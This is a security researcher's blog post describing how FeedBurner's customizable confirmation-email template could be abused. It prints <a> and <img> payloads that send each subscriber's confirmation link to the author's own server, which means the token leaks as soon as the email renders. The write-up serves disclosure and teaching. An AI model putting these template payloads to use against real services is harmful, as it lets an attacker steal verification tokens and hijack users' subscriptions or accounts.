Hi there! Long time no see!
One of the reasons for our blackout, besides tones of vacations and hours of playing Far Cry on the XBOX, was that we have been very busy exploring new grounds in the web & application research. Today we are excited to show you one of those new areas.
We’ll go straight to the point: Our research in the past couple of months did not focused on XSS and other well-known P1 and P2 vulnerabilities. In fact, we wanted to focus on something new. We wanted to focus on something exciting. You can call us Columbus. But please don’t.
So, “out-of-the-box” vulnerabilities. What are they? Well, in my definition, those are vulnerabilities that don’t have exciting definitions. I mean, those are types of vulnerabilities that have yet to be discovered, or at least yet to be released.
Today’s case-study is exactly one of those exciting new findings.
This time, the research was not a company-specific. It was a protocol-specific.
What are you talking about?
Its simple. I wasn’t looking for vulnerabilities in a certain company. I was looking for logic flaws in the way things are being done in the top-used communication protocols.
Although the research produced some amazing findings in the HTTP protocol, those cannot be shared at the moment. But don’t you worry! There is enough to tell about our friend, the SMTP protocol.
In short, the SMTP protocol is being widely used by millions of web applications to send email messages to the client. This protocol is very convenient and easy to use, and many companies have implemented it in their everyday use: swap messages between employees, communicate with customers (notifications, etc.) and many more. But the most common use right now for SMTP (or simply for ‘sending mail’) is to verify users accounts.
One of SMTP features is the fact that it allows sending stylish, pretty HTML messages. Remember that fact.
When users register to a certain web application, they immediately get an email which requires them to approve or to verify themselves, as a proof that this email address really belongs to them.
FeedBurner, for example, sends this kind of subscription confirmation email to users who subscribe to a certain feed. This email contains a link with an access token that validates that the email is indeed being used by the client. This email’s content is controllable by the feed owner, although the content must include a placeholder for the confirmation link: ‘$(confirmlink)‘
And that’s where I started to think: How can I hijack the verification link that users receive to their mail, without an XSS/CSRF and without, of course, breaking into their mail account? I knew that I can include a sanitized, non-malicious HTML code, but I couldn’t execute any JS code.
The answer was: Abusing the HTML in the SMTP protocol. Remember that non-malicious HTML tags are allowed? Tags like <a>, <b>, <u>.
In my FeedBurner feed, I simply added to the custom email template (of the subscription confirmation email) the following code:
<a href=”https://fogmarks.com/feedburner_poc/newentry?p=$(confirmlink)”>Click here!!!</a>
And it worked. The users received an email with a non-malicious HTML code. When they clicked it, the confirmation link was being logged in a server of mine.
I though: “Cool, but user interaction is still required. How can I send this confirmation link to my server without any sort of user interaction, and without any JS event? Well, the answer is incredible. I’ll use the one allowed tag that is being loaded automatically when the page comes up: <img>!
By simply adding this code to the email template:
<img src=”https://fogmarks.com/feedburner_poc/newentry?p=$(confirmlink)” />
I was able to send the confirmation link to my server, without any user interaction. I abused HTML’s automatic image loading mechanism, and abused the fact the sanitized HTML could be sent over SMTP.
Google hasn’t accepted this submission. They said, and they are totally right, that the SMTP mail is being sent by FeedBurner with a content type: text/plain header, and therefore, it is the email provider’s fault that it is ignores this flag and still parses the HTML, although it is being told not to.
But still, this case-study was presented to you in order to see how everyday, “innocent & totally safe” features can be used to cause great harm.